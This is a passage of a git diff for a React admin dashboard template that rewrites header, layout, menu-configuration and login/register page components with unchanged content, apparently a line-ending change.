alignItems: 'center' }}> - <Grid> - <Stack direction="row" sx={{ gap: 1.25, alignItems: 'center' }}> - <Avatar alt="profile user" src={avatar1} sx={{ width: 32, height: 32 }} /> - <Stack> - <Typography variant="h6">John Doe</Typography> - <Typography variant="body2" color="text.secondary"> - UI/UX Designer - </Typography> - </Stack> - </Stack> - </Grid> - <Grid> - <Tooltip title="Logout"> - <IconButton size="large" sx={{ color: 'text.primary' }}> - <LogoutOutlined /> - </IconButton> - </Tooltip> - </Grid> - </Grid> - </CardContent> - - <Box sx={{ borderBottom: 1, borderColor: 'divider' }}> - <Tabs variant="fullWidth" value={value} onChange={handleChange} aria-label="profile tabs"> - <Tab - sx={{ - display: 'flex', - flexDirection: 'row', - justifyContent: 'center', - alignItems: 'center', - textTransform: 'capitalize', - gap: 1.25, - '& .MuiTab-icon': { - marginBottom: 0 - } - }} - icon={<UserOutlined />} - label="Profile" - {...a11yProps(0)} - /> - <Tab - sx={{ - display: 'flex', - flexDirection: 'row', - justifyContent: 'center', - alignItems: 'center', - textTransform: 'capitalize', - gap: 1.25, - '& .MuiTab-icon': { - marginBottom: 0 - } - }} - icon={<SettingOutlined />} - label="Setting" - {...a11yProps(1)} - /> - </Tabs> - </Box> - <TabPanel value={value} index={0} dir={theme.direction}> - <ProfileTab /> - </TabPanel> - <TabPanel value={value} index={1} dir={theme.direction}> - <SettingTab /> - </TabPanel> - </MainCard> - </ClickAwayListener> - </Paper> - </Transitions> - )} - </Popper> - </Box> - ); -} - -TabPanel.propTypes = { children: PropTypes.node, value: PropTypes.number, index: PropTypes.number, other: PropTypes.any }; +import PropTypes from 'prop-types'; +import { useRef, useState } from 'react'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import ButtonBase from '@mui/material/ButtonBase'; +import CardContent from '@mui/material/CardContent'; +import ClickAwayListener from '@mui/material/ClickAwayListener'; +import Grid from '@mui/material/Grid'; +import Paper from '@mui/material/Paper'; +import Popper from '@mui/material/Popper'; +import Stack from '@mui/material/Stack'; +import Tab from '@mui/material/Tab'; +import Tabs from '@mui/material/Tabs'; +import Tooltip from '@mui/material/Tooltip'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import ProfileTab from './ProfileTab'; +import SettingTab from './SettingTab'; +import Avatar from 'components/@extended/Avatar'; +import MainCard from 'components/MainCard'; +import Transitions from 'components/@extended/Transitions'; +import IconButton from 'components/@extended/IconButton'; + +// assets +import LogoutOutlined from '@ant-design/icons/LogoutOutlined'; +import SettingOutlined from '@ant-design/icons/SettingOutlined'; +import UserOutlined from '@ant-design/icons/UserOutlined'; +import avatar1 from 'assets/images/users/avatar-1.png'; + +// tab panel wrapper +function TabPanel({ children, value, index, ...other }) { + return ( + <div role="tabpanel" hidden={value !== index} id={`profile-tabpanel-${index}`} aria-labelledby={`profile-tab-${index}`} {...other}> + {value === index && children} + </div> + ); +} + +function a11yProps(index) { + return { + id: `profile-tab-${index}`, + 'aria-controls': `profile-tabpanel-${index}` + }; +} + +// ==============================|| HEADER CONTENT - PROFILE ||============================== // + +export default function Profile() { + const theme = useTheme(); + + const anchorRef = useRef(null); + const [open, setOpen] = useState(false); + const handleToggle = () => { + setOpen((prevOpen) => !prevOpen); + }; + + const handleClose = (event) => { + if (anchorRef.current && anchorRef.current.contains(event.target)) { + return; + } + setOpen(false); + }; + + const [value, setValue] = useState(0); + + const handleChange = (event, newValue) => { + setValue(newValue); + }; + + return ( + <Box sx={{ flexShrink: 0, ml: 'auto' }}> + <Tooltip title="Profile" disableInteractive> + <ButtonBase + sx={(theme) => ({ + p: 0.25, + borderRadius: 1, + '&:focus-visible': { outline: `2px solid ${theme.vars.palette.secondary.dark}`, outlineOffset: 2 } + })} + aria-label="open profile" + ref={anchorRef} + aria-controls={open ? 'profile-grow' : undefined} + aria-haspopup="true" + onClick={handleToggle} + > + <Avatar alt="profile user" src={avatar1} size="sm" sx={{ '&:hover': { outline: '1px solid', outlineColor: 'primary.main' } }} /> + </ButtonBase> + </Tooltip> + <Popper + placement="bottom-end" + open={open} + anchorEl={anchorRef.current} + role={undefined} + transition + disablePortal + popperOptions={{ + modifiers: [ + { + name: 'offset', + options: { + offset: [0, 9] + } + } + ] + }} + > + {({ TransitionProps }) => ( + <Transitions type="grow" position="top-right" in={open} {...TransitionProps}> + <Paper sx={(theme) => ({ boxShadow: theme.vars.customShadows.z1, width: 290, minWidth: 240, maxWidth: { xs: 250, md: 290 } })}> + <ClickAwayListener onClickAway={handleClose}> + <MainCard elevation={0} border={false} content={false}> + <CardContent sx={{ px: 2.5, pt: 3 }}> + <Grid container sx={{ justifyContent: 'space-between', alignItems: 'center' }}> + <Grid> + <Stack direction="row" sx={{ gap: 1.25, alignItems: 'center' }}> + <Avatar alt="profile user" src={avatar1} sx={{ width: 32, height: 32 }} /> + <Stack> + <Typography variant="h6">John Doe</Typography> + <Typography variant="body2" color="text.secondary"> + UI/UX Designer + </Typography> + </Stack> + </Stack> + </Grid> + <Grid> + <Tooltip title="Logout"> + <IconButton size="large" sx={{ color: 'text.primary' }}> + <LogoutOutlined /> + </IconButton> + </Tooltip> + </Grid> + </Grid> + </CardContent> + + <Box sx={{ borderBottom: 1, borderColor: 'divider' }}> + <Tabs variant="fullWidth" value={value} onChange={handleChange} aria-label="profile tabs"> + <Tab + sx={{ + display: 'flex', + flexDirection: 'row', + justifyContent: 'center', + alignItems: 'center', + textTransform: 'capitalize', + gap: 1.25, + '& .MuiTab-icon': { + marginBottom: 0 + } + }} + icon={<UserOutlined />} + label="Profile" + {...a11yProps(0)} + /> + <Tab + sx={{ + display: 'flex', + flexDirection: 'row', + justifyContent: 'center', + alignItems: 'center', + textTransform: 'capitalize', + gap: 1.25, + '& .MuiTab-icon': { + marginBottom: 0 + } + }} + icon={<SettingOutlined />} + label="Setting" + {...a11yProps(1)} + /> + </Tabs> + </Box> + <TabPanel value={value} index={0} dir={theme.direction}> + <ProfileTab /> + </TabPanel> + <TabPanel value={value} index={1} dir={theme.direction}> + <SettingTab /> + </TabPanel> + </MainCard> + </ClickAwayListener> + </Paper> + </Transitions> + )} + </Popper> + </Box> + ); +} + +TabPanel.propTypes = { children: PropTypes.node, value: PropTypes.number, index: PropTypes.number, other: PropTypes.any }; diff --git a/src/layout/Dashboard/Header/HeaderContent/Search.jsx b/src/layout/Dashboard/Header/HeaderContent/Search.jsx index e53cca044..a4283aa36 100644 --- a/src/layout/Dashboard/Header/HeaderContent/Search.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/Search.jsx @@ -1,31 +1,31 @@ -// material-ui -import FormControl from '@mui/material/FormControl'; -import InputAdornment from '@mui/material/InputAdornment'; -import OutlinedInput from '@mui/material/OutlinedInput'; -import Box from '@mui/material/Box'; - -// assets -import SearchOutlined from '@ant-design/icons/SearchOutlined'; - -// ==============================|| HEADER CONTENT - SEARCH ||============================== // - -export default function Search() { - return ( - <Box sx={{ width: '100%', ml: { xs: 0, md: 1 } }}> - <FormControl sx={{ width: { xs: '100%', md: 224 } }}> - <OutlinedInput - size="small" - id="header-search" - startAdornment={ - <InputAdornment position="start" sx={{ mr: -0.5 }}> - <SearchOutlined /> - </InputAdornment> - } - aria-describedby="header-search-text" - slotProps={{ input: { 'aria-label': 'weight' } }} - placeholder="Ctrl + K" - /> - </FormControl> - </Box> - ); -} +// material-ui +import FormControl from '@mui/material/FormControl'; +import InputAdornment from '@mui/material/InputAdornment'; +import OutlinedInput from '@mui/material/OutlinedInput'; +import Box from '@mui/material/Box'; + +// assets +import SearchOutlined from '@ant-design/icons/SearchOutlined'; + +// ==============================|| HEADER CONTENT - SEARCH ||============================== // + +export default function Search() { + return ( + <Box sx={{ width: '100%', ml: { xs: 0, md: 1 } }}> + <FormControl sx={{ width: { xs: '100%', md: 224 } }}> + <OutlinedInput + size="small" + id="header-search" + startAdornment={ + <InputAdornment position="start" sx={{ mr: -0.5 }}> + <SearchOutlined /> + </InputAdornment> + } + aria-describedby="header-search-text" + slotProps={{ input: { 'aria-label': 'weight' } }} + placeholder="Ctrl + K" + /> + </FormControl> + </Box> + ); +} diff --git a/src/layout/Dashboard/Header/HeaderContent/index.jsx b/src/layout/Dashboard/Header/HeaderContent/index.jsx index 738529cb0..1e08d0d5b 100644 --- a/src/layout/Dashboard/Header/HeaderContent/index.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/index.jsx @@ -1,42 +1,42 @@ -// material-ui -import useMediaQuery from '@mui/material/useMediaQuery'; -import IconButton from '@mui/material/IconButton'; -import Link from '@mui/material/Link'; -import Box from '@mui/material/Box'; - -// project imports -import Search from './Search'; -import Profile from './Profile'; -import Notification from './Notification'; -import MobileSection from './MobileSection'; - -// project import -import { GithubOutlined } from '@ant-design/icons'; - -// ==============================|| HEADER - CONTENT ||============================== // - -export default function HeaderContent() { - const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); - - return ( - <> - {!downLG && <Search />} - {downLG && <Box sx={{ width: '100%', ml: 1 }} />} - <IconButton - component={Link} - href="https://github.com/codedthemes/mantis-free-react-admin-template" - target="_blank" - disableRipple - color="secondary" - title="Download Free Version" - sx={{ color: 'text.primary', bgcolor: 'grey.100' }} - > - <GithubOutlined /> - </IconButton> - - <Notification /> - {!downLG && <Profile />} - {downLG && <MobileSection />} - </> - ); -} +// material-ui +import useMediaQuery from '@mui/material/useMediaQuery'; +import IconButton from '@mui/material/IconButton'; +import Link from '@mui/material/Link'; +import Box from '@mui/material/Box'; + +// project imports +import Search from './Search'; +import Profile from './Profile'; +import Notification from './Notification'; +import MobileSection from './MobileSection'; + +// project import +import { GithubOutlined } from '@ant-design/icons'; + +// ==============================|| HEADER - CONTENT ||============================== // + +export default function HeaderContent() { + const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); + + return ( + <> + {!downLG && <Search />} + {downLG && <Box sx={{ width: '100%', ml: 1 }} />} + <IconButton + component={Link} + href="https://github.com/codedthemes/mantis-free-react-admin-template" + target="_blank" + disableRipple + color="secondary" + title="Download Free Version" + sx={{ color: 'text.primary', bgcolor: 'grey.100' }} + > + <GithubOutlined /> + </IconButton> + + <Notification /> + {!downLG && <Profile />} + {downLG && <MobileSection />} + </> + ); +} diff --git a/src/layout/Dashboard/Header/index.jsx b/src/layout/Dashboard/Header/index.jsx index 7e1b24567..af7ff3ae4 100644 --- a/src/layout/Dashboard/Header/index.jsx +++ b/src/layout/Dashboard/Header/index.jsx @@ -1,76 +1,76 @@ -import { useMemo } from 'react'; - -// material-ui -import useMediaQuery from '@mui/material/useMediaQuery'; -import AppBar from '@mui/material/AppBar'; -import Toolbar from '@mui/material/Toolbar'; - -// project imports -import AppBarStyled from './AppBarStyled'; -import HeaderContent from './HeaderContent'; -import IconButton from 'components/@extended/IconButton'; - -import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; -import { DRAWER_WIDTH, MINI_DRAWER_WIDTH } from 'config'; - -// assets -import MenuFoldOutlined from '@ant-design/icons/MenuFoldOutlined'; -import MenuUnfoldOutlined from '@ant-design/icons/MenuUnfoldOutlined'; - -// ==============================|| MAIN LAYOUT - HEADER ||============================== // - -export default function Header() { - const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); - - const { menuMaster } = useGetMenuMaster(); - const drawerOpen = menuMaster.isDashboardDrawerOpened; - - // header content - const headerContent = useMemo(() => <HeaderContent />, []); - - // common header - const mainHeader = ( - <Toolbar> - <IconButton - aria-label="open drawer" - onClick={() => handlerDrawerOpen(!drawerOpen)} - edge="start" - color="secondary" - variant="light" - sx={(theme) => ({ - color: 'text.primary', - bgcolor: drawerOpen ? 'transparent' : 'grey.100', - ml: { xs: 0, lg: -2 } - })} - > - {!drawerOpen ? <MenuUnfoldOutlined /> : <MenuFoldOutlined />} - </IconButton> - {headerContent} - </Toolbar> - ); - - // app-bar params - const appBar = { - position: 'fixed', - color: 'inherit', - elevation: 0, - sx: { - borderBottom: '1px solid', - borderBottomColor: 'divider', - zIndex: 1200, - width: { xs: '100%', lg: drawerOpen ? `calc(100% - ${DRAWER_WIDTH}px)` : `calc(100% - ${MINI_DRAWER_WIDTH}px)` } - } - }; - - return ( - <> - {!downLG ? ( - <AppBarStyled open={drawerOpen} {...appBar}> - {mainHeader} - </AppBarStyled> - ) : ( - <AppBar {...appBar}>{mainHeader}</AppBar> - )} - </> - ); -} +import { useMemo } from 'react'; + +// material-ui +import useMediaQuery from '@mui/material/useMediaQuery'; +import AppBar from '@mui/material/AppBar'; +import Toolbar from '@mui/material/Toolbar'; + +// project imports +import AppBarStyled from './AppBarStyled'; +import HeaderContent from './HeaderContent'; +import IconButton from 'components/@extended/IconButton'; + +import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; +import { DRAWER_WIDTH, MINI_DRAWER_WIDTH } from 'config'; + +// assets +import MenuFoldOutlined from '@ant-design/icons/MenuFoldOutlined'; +import MenuUnfoldOutlined from '@ant-design/icons/MenuUnfoldOutlined'; + +// ==============================|| MAIN LAYOUT - HEADER ||============================== // + +export default function Header() { + const downLG = useMediaQuery((theme) => theme.breakpoints.down('lg')); + + const { menuMaster } = useGetMenuMaster(); + const drawerOpen = menuMaster.isDashboardDrawerOpened; + + // header content + const headerContent = useMemo(() => <HeaderContent />, []); + + // common header + const mainHeader = ( + <Toolbar> + <IconButton + aria-label="open drawer" + onClick={() => handlerDrawerOpen(!drawerOpen)} + edge="start" + color="secondary" + variant="light" + sx={(theme) => ({ + color: 'text.primary', + bgcolor: drawerOpen ? 'transparent' : 'grey.100', + ml: { xs: 0, lg: -2 } + })} + > + {!drawerOpen ? <MenuUnfoldOutlined /> : <MenuFoldOutlined />} + </IconButton> + {headerContent} + </Toolbar> + ); + + // app-bar params + const appBar = { + position: 'fixed', + color: 'inherit', + elevation: 0, + sx: { + borderBottom: '1px solid', + borderBottomColor: 'divider', + zIndex: 1200, + width: { xs: '100%', lg: drawerOpen ? `calc(100% - ${DRAWER_WIDTH}px)` : `calc(100% - ${MINI_DRAWER_WIDTH}px)` } + } + }; + + return ( + <> + {!downLG ? ( + <AppBarStyled open={drawerOpen} {...appBar}> + {mainHeader} + </AppBarStyled> + ) : ( + <AppBar {...appBar}>{mainHeader}</AppBar> + )} + </> + ); +} diff --git a/src/layout/Dashboard/index.jsx b/src/layout/Dashboard/index.jsx index e3e2bb9a6..e0a7696b9 100644 --- a/src/layout/Dashboard/index.jsx +++ b/src/layout/Dashboard/index.jsx @@ -1,53 +1,53 @@ -import { useEffect } from 'react'; -import { Outlet } from 'react-router-dom'; - -import useMediaQuery from '@mui/material/useMediaQuery'; -import Toolbar from '@mui/material/Toolbar'; -import Box from '@mui/material/Box'; - -// project imports -import Drawer from './Drawer'; -import Header from './Header'; -import Footer from './Footer'; -import Loader from 'components/Loader'; -import Breadcrumbs from 'components/@extended/Breadcrumbs'; - -import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; - -// ==============================|| MAIN LAYOUT ||============================== // - -export default function DashboardLayout() { - const { menuMasterLoading } = useGetMenuMaster(); - const downXL = useMediaQuery((theme) => theme.breakpoints.down('xl')); - - // set media wise responsive drawer - useEffect(() => { - handlerDrawerOpen(!downXL); - }, [downXL]); - - if (menuMasterLoading) return <Loader />; - - return ( - <Box sx={{ display: 'flex', width: '100%' }}> - <Header /> - <Drawer /> - - <Box component="main" sx={{ width: 'calc(100% - 260px)', flexGrow: 1, p: { xs: 2, sm: 3 } }}> - <Toolbar sx={{ mt: 'inherit' }} /> - <Box - sx={{ - ...{ px: { xs: 0, sm: 2 } }, - position: 'relative', - minHeight: 'calc(100vh - 110px)', - display: 'flex', - flexDirection: 'column' - }} - > - <Breadcrumbs /> - <Outlet /> - <Footer /> - </Box> - </Box> - </Box> - ); -} +import { useEffect } from 'react'; +import { Outlet } from 'react-router-dom'; + +import useMediaQuery from '@mui/material/useMediaQuery'; +import Toolbar from '@mui/material/Toolbar'; +import Box from '@mui/material/Box'; + +// project imports +import Drawer from './Drawer'; +import Header from './Header'; +import Footer from './Footer'; +import Loader from 'components/Loader'; +import Breadcrumbs from 'components/@extended/Breadcrumbs'; + +import { handlerDrawerOpen, useGetMenuMaster } from 'api/menu'; + +// ==============================|| MAIN LAYOUT ||============================== // + +export default function DashboardLayout() { + const { menuMasterLoading } = useGetMenuMaster(); + const downXL = useMediaQuery((theme) => theme.breakpoints.down('xl')); + + // set media wise responsive drawer + useEffect(() => { + handlerDrawerOpen(!downXL); + }, [downXL]); + + if (menuMasterLoading) return <Loader />; + + return ( + <Box sx={{ display: 'flex', width: '100%' }}> + <Header /> + <Drawer /> + + <Box component="main" sx={{ width: 'calc(100% - 260px)', flexGrow: 1, p: { xs: 2, sm: 3 } }}> + <Toolbar sx={{ mt: 'inherit' }} /> + <Box + sx={{ + ...{ px: { xs: 0, sm: 2 } }, + position: 'relative', + minHeight: 'calc(100vh - 110px)', + display: 'flex', + flexDirection: 'column' + }} + > + <Breadcrumbs /> + <Outlet /> + <Footer /> + </Box> + </Box> + </Box> + ); +} diff --git a/src/menu-items/dashboard.jsx b/src/menu-items/dashboard.jsx index cea3a2f13..20540189a 100644 --- a/src/menu-items/dashboard.jsx +++ b/src/menu-items/dashboard.jsx @@ -1,27 +1,27 @@ -// assets -import { DashboardOutlined } from '@ant-design/icons'; - -// icons -const icons = { - DashboardOutlined -}; - -// ==============================|| MENU ITEMS - DASHBOARD ||============================== // - -const dashboard = { - id: 'group-dashboard', - title: 'Navigation', - type: 'group', - children: [ - { - id: 'dashboard', - title: 'Dashboard', - type: 'item', - url: '/dashboard/default', - icon: icons.DashboardOutlined, - breadcrumbs: false - } - ] -}; - -export default dashboard; +// assets +import { DashboardOutlined } from '@ant-design/icons'; + +// icons +const icons = { + DashboardOutlined +}; + +// ==============================|| MENU ITEMS - DASHBOARD ||============================== // + +const dashboard = { + id: 'group-dashboard', + title: 'Navigation', + type: 'group', + children: [ + { + id: 'dashboard', + title: 'Dashboard', + type: 'item', + url: '/dashboard/default', + icon: icons.DashboardOutlined, + breadcrumbs: false + } + ] +}; + +export default dashboard; diff --git a/src/menu-items/index.jsx b/src/menu-items/index.jsx index ad38ab842..bfa8492ef 100644 --- a/src/menu-items/index.jsx +++ b/src/menu-items/index.jsx @@ -1,13 +1,13 @@ -// project import -import dashboard from './dashboard'; -import pages from './page'; -import utilities from './utilities'; -import support from './support'; - -// ==============================|| MENU ITEMS ||============================== // - -const menuItems = { - items: [dashboard, pages, utilities, support] -}; - -export default menuItems; +// project import +import dashboard from './dashboard'; +import pages from './page'; +import utilities from './utilities'; +import support from './support'; + +// ==============================|| MENU ITEMS ||============================== // + +const menuItems = { + items: [dashboard, pages, utilities, support] +}; + +export default menuItems; diff --git a/src/menu-items/page.jsx b/src/menu-items/page.jsx index b55b72f36..f4682659a 100644 --- a/src/menu-items/page.jsx +++ b/src/menu-items/page.jsx @@ -1,36 +1,36 @@ -// assets -import { LoginOutlined, ProfileOutlined } from '@ant-design/icons'; - -// icons -const icons = { - LoginOutlined, - ProfileOutlined -}; - -// ==============================|| MENU ITEMS - EXTRA PAGES ||============================== // - -const pages = { - id: 'authentication', - title: 'Authentication', - type: 'group', - children: [ - { - id: 'login1', - title: 'Login', - type: 'item', - url: '/login', - icon: icons.LoginOutlined, - target: true - }, - { - id: 'register1', - title: 'Register', - type: 'item', - url: '/register', - icon: icons.ProfileOutlined, - target: true - } - ] -}; - -export default pages; +// assets +import { LoginOutlined, ProfileOutlined } from '@ant-design/icons'; + +// icons +const icons = { + LoginOutlined, + ProfileOutlined +}; + +// ==============================|| MENU ITEMS - EXTRA PAGES ||============================== // + +const pages = { + id: 'authentication', + title: 'Authentication', + type: 'group', + children: [ + { + id: 'login1', + title: 'Login', + type: 'item', + url: '/login', + icon: icons.LoginOutlined, + target: true + }, + { + id: 'register1', + title: 'Register', + type: 'item', + url: '/register', + icon: icons.ProfileOutlined, + target: true + } + ] +}; + +export default pages; diff --git a/src/menu-items/support.jsx b/src/menu-items/support.jsx index f9347613a..2ac9c0501 100644 --- a/src/menu-items/support.jsx +++ b/src/menu-items/support.jsx @@ -1,36 +1,36 @@ -// assets -import { ChromeOutlined, QuestionOutlined } from '@ant-design/icons'; - -// icons -const icons = { - ChromeOutlined, - QuestionOutlined -}; - -// ==============================|| MENU ITEMS - SAMPLE PAGE & DOCUMENTATION ||============================== // - -const support = { - id: 'support', - title: 'Support', - type: 'group', - children: [ - { - id: 'sample-page', - title: 'Sample Page', - type: 'item', - url: '/sample-page', - icon: icons.ChromeOutlined - }, - { - id: 'documentation', - title: 'Documentation', - type: 'item', - url: 'https://codedthemes.gitbook.io/mantis/', - icon: icons.QuestionOutlined, - external: true, - target: true - } - ] -}; - -export default support; +// assets +import { ChromeOutlined, QuestionOutlined } from '@ant-design/icons'; + +// icons +const icons = { + ChromeOutlined, + QuestionOutlined +}; + +// ==============================|| MENU ITEMS - SAMPLE PAGE & DOCUMENTATION ||============================== // + +const support = { + id: 'support', + title: 'Support', + type: 'group', + children: [ + { + id: 'sample-page', + title: 'Sample Page', + type: 'item', + url: '/sample-page', + icon: icons.ChromeOutlined + }, + { + id: 'documentation', + title: 'Documentation', + type: 'item', + url: 'https://codedthemes.gitbook.io/mantis/', + icon: icons.QuestionOutlined, + external: true, + target: true + } + ] +}; + +export default support; diff --git a/src/menu-items/utilities.jsx b/src/menu-items/utilities.jsx index c3fda6441..f13059219 100644 --- a/src/menu-items/utilities.jsx +++ b/src/menu-items/utilities.jsx @@ -1,52 +1,52 @@ -// assets -import { - AppstoreAddOutlined, - AntDesignOutlined, - BarcodeOutlined, - BgColorsOutlined, - FontSizeOutlined, - LoadingOutlined -} from '@ant-design/icons'; - -// icons -const icons = { - FontSizeOutlined, - BgColorsOutlined, - BarcodeOutlined, - AntDesignOutlined, - LoadingOutlined, - AppstoreAddOutlined -}; - -// ==============================|| MENU ITEMS - UTILITIES ||============================== // - -const utilities = { - id: 'utilities', - title: 'Utilities', - type: 'group', - children: [ - { - id: 'util-typography', - title: 'Typography', - type: 'item', - url: '/typography', - icon: icons.FontSizeOutlined - }, - { - id: 'util-color', - title: 'Color', - type: 'item', - url: '/color', - icon: icons.BgColorsOutlined - }, - { - id: 'util-shadow', - title: 'Shadow', - type: 'item', - url: '/shadow', - icon: icons.BarcodeOutlined - } - ] -}; - -export default utilities; +// assets +import { + AppstoreAddOutlined, + AntDesignOutlined, + BarcodeOutlined, + BgColorsOutlined, + FontSizeOutlined, + LoadingOutlined +} from '@ant-design/icons'; + +// icons +const icons = { + FontSizeOutlined, + BgColorsOutlined, + BarcodeOutlined, + AntDesignOutlined, + LoadingOutlined, + AppstoreAddOutlined +}; + +// ==============================|| MENU ITEMS - UTILITIES ||============================== // + +const utilities = { + id: 'utilities', + title: 'Utilities', + type: 'group', + children: [ + { + id: 'util-typography', + title: 'Typography', + type: 'item', + url: '/typography', + icon: icons.FontSizeOutlined + }, + { + id: 'util-color', + title: 'Color', + type: 'item', + url: '/color', + icon: icons.BgColorsOutlined + }, + { + id: 'util-shadow', + title: 'Shadow', + type: 'item', + url: '/shadow', + icon: icons.BarcodeOutlined + } + ] +}; + +export default utilities; diff --git a/src/pages/auth/Login.jsx b/src/pages/auth/Login.jsx index 7e2b245ec..43b6695a5 100644 --- a/src/pages/auth/Login.jsx +++ b/src/pages/auth/Login.jsx @@ -1,32 +1,32 @@ -import { Link } from 'react-router-dom'; - -// material-ui -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// project imports -import AuthWrapper from 'sections/auth/AuthWrapper'; -import AuthLogin from 'sections/auth/AuthLogin'; - -// ================================|| JWT - LOGIN ||================================ // - -export default function Login() { - return ( - <AuthWrapper> - <Grid container spacing={3}> - <Grid size={12}> - <Stack direction="row" sx={{ alignItems: 'baseline', justifyContent: 'space-between', mb: { xs: -0.5, sm: 0.5 } }}> - <Typography variant="h3">Login</Typography> - <Typography component={Link} to={'/register'} variant="body1" sx={{ textDecoration: 'none' }} color="primary"> - Don't have an account? - </Typography> - </Stack> - </Grid> - <Grid size={12}> - <AuthLogin /> - </Grid> - </Grid> - </AuthWrapper> - ); -} +import { Link } from 'react-router-dom'; + +// material-ui +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// project imports +import AuthWrapper from 'sections/auth/AuthWrapper'; +import AuthLogin from 'sections/auth/AuthLogin'; + +// ================================|| JWT - LOGIN ||================================ // + +export default function Login() { + return ( + <AuthWrapper> + <Grid container spacing={3}> + <Grid size={12}> + <Stack direction="row" sx={{ alignItems: 'baseline', justifyContent: 'space-between', mb: { xs: -0.5, sm: 0.5 } }}> + <Typography variant="h3">Login</Typography> + <Typography component={Link} to={'/register'} variant="body1" sx={{ textDecoration: 'none' }} color="primary"> + Don't have an account? + </Typography> + </Stack> + </Grid> + <Grid size={12}> + <AuthLogin /> + </Grid> + </Grid> + </AuthWrapper> + ); +} diff --git a/src/pages/auth/Register.jsx b/src/pages/auth/Register.jsx index 7f325efd8..310f25697 100644 --- a/src/pages/auth/Register.jsx +++ b/src/pages/auth/Register.jsx @@ -1,32 +1,32 @@ -import { Link } from 'react-router-dom'; - -// material-ui -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// project imports -import AuthWrapper from 'sections/auth/AuthWrapper'; -import FirebaseRegister from 'sections/auth/AuthRegister'; - -// ================================|| JWT - REGISTER ||================================ // - -export default function Register() { - return ( - <AuthWrapper> - <Grid container spacing={3}> - <Grid size={12}> - <Stack direction="row" sx={{ alignItems: 'baseline', justifyContent: 'space-between', mb: { xs: -0.5, sm: 0.5 } }}> - <Typography variant="h3">Sign up</Typography> - <Typography component={Link} to="/login" variant="body1" sx={{ textDecoration: 'none' }} color="primary"> - Already have an account? - </Typography> - </Stack> - </Grid> - <Grid size={12}> - <FirebaseRegister /> - </Grid> - </Grid> - </AuthWrapper> - ); -} +import { Link } from 'react-router-dom'; + +// material-ui +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// project imports +import AuthWrapper from 'sections/auth/AuthWrapper'; +import FirebaseRegister from 'sections/auth/AuthRegister'; + +// ================================|| JWT - REGISTER ||================================ // + +export default function Register() { + return ( + <AuthWrapper> + <Grid container spacing={3}> + <Grid size={12}> + <Stack direction="row" sx={{ alignItems: 'baseline', justifyContent: 'space-between', mb: { xs: -0.5, sm: 0.5 } }}> + <Typography variant="h3">Sign up</Typography> + <Typography component={Link} to="/login" variant="body1" sx={{ textDecoration: 'none' }} color="primary"> + Already have an account? + </Typography> + </Stack> + </Grid> + <Grid size={12}> + <FirebaseRegister /> + </Grid> + </Grid> + </AuthWrapper> + ); +} diff --git a/src/pages/component-overview/color.jsx b/src/pages/component-overview/color.jsx index d568d6c04..620c74c05 100644 --- a/src/pages/component-overview/color.jsx +++ b/src/pages/component-overview/color.jsx @@ -1,259 +1,259 @@ -import PropTypes from 'prop-types'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import Card from '@mui/material/Card'; -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; - -function ColorBox({ bgcolor, title, data, dark, main }) { - return ( - <Card sx={{ '&.MuiPaper-root': { borderRadius: '0px' } }}> - <Box - sx={{ - display: 'flex', - justifyContent: 'center', - alignItems: 'center', - py: 2.5, - bgcolor, - color: dark ? 'grey.800' : '#ffffff', - border: main ? '1px dashed' : '1px solid transparent' - }} - > - {title && ( - <Grid container sx={{ width: 1, justifyContent: 'space-around', alignItems: 'center' }}> - <Grid> - {data && ( - <Stack sx={{ gap: 0.75, alignItems: 'center' }}> - <Typography variant="subtitle2">{data.label}</Typography> - <Typography variant="subtitle1">{data.color}</Typography> - </Stack> - )} - </Grid> - <Grid> - <Typography variant="subtitle1" color="inherit"> - {title} - </Typography> - </Grid> - </Grid> - )} - </Box> - </Card> - ); -} - -// ===============================|| COMPONENT - COLOR ||=============================== // - -export default function ComponentColor() { - const theme = useTheme(); - - const currentPalette = theme.palette; - return ( - <Grid container spacing={3}> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Primary Color"> - <Stack> - <ColorBox - bgcolor="primary.lighter" - data={{ label: 'Blue-1', color: `${currentPalette.primary.lighter}` }} - title="primary.lighter" - dark - /> - <ColorBox bgcolor="primary.100" data={{ label: 'Blue-2', color: `${currentPalette.primary[100]}` }} title="primary[100]" dark /> - <ColorBox bgcolor="primary.200" data={{ label: 'Blue-3', color: `${currentPalette.primary[200]}` }} title="primary[200]" dark /> - <ColorBox - bgcolor="primary.light" - data={{ label: 'Blue-4', color: `${currentPalette.primary.light}` }} - title="primary.light" - dark - /> - <ColorBox bgcolor="primary.400" data={{ label: 'Blue-5', color: `${currentPalette.primary[400]}` }} title="primary[400]" /> - <ColorBox - bgcolor="primary.main" - data={{ label: 'Blue-6', color: `${currentPalette.primary.main}` }} - title="primary.main" - main - /> - <ColorBox bgcolor="primary.dark" data={{ label: 'Blue-7', color: `${currentPalette.primary.dark}` }} title="primary.dark" /> - <ColorBox bgcolor="primary.700" data={{ label: 'Blue-8', color: `${currentPalette.primary[700]}` }} title="primary[700]" /> - <ColorBox - bgcolor="primary.darker" - data={{ label: 'Blue-9', color: `${currentPalette.primary.darker}` }} - title="primary.darker" - /> - <ColorBox bgcolor="primary.900" data={{ label: 'Blue-10', color: `${currentPalette.primary[900]}` }} title="primary.900" /> - </Stack> - </MainCard> - </Grid> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Secondary Color"> - <Stack> 